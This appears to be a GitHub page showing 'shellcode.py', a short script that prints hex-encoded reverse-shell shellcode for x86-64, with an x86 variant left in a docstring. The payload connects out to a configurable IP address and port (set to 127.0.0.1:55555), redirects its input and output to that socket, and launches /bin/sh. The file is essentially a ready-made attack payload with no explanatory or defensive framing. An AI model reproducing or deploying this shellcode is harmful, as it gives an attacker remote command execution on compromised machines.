-
Notifications
You must be signed in to change notification settings - Fork 5
/
shellcode.py
executable file
·29 lines (25 loc) · 1.22 KB
/
shellcode.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#!/usr/bin/env python
import sys
### IP: 127.0.0.1
IPADDR = "\x7f\x00\x00\x01"
### Port: 55555
PORT = "\xd9\x03"
"""
### x86
sys.stdout.write( "\x68" + IPADDR + "\x5e\x66\x68" + PORT + \
"\x5f\x6a\x66\x58\x99\x6a\x01\x5b\x52\x53\x6a\x02" \
"\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79" \
"\xf9\xb0\x66\x56\x66\x57\x66\x6a\x02\x89\xe1\x6a" \
"\x10\x51\x53\x89\xe1\xcd\x80\xb0\x0b\x52\x68\x2f" \
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53" \
"\xeb\xce" )
"""
### x86-64
sys.stdout.write( "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a" \
"\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0" \
"\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24" \
"\x02" + PORT + "\xc7\x44\x24\x04" + IPADDR + "\x48\x89\xe6\x6a\x10" \
"\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48" \
"\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a" \
"\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54" \
"\x5f\x6a\x3b\x58\x0f\x05" )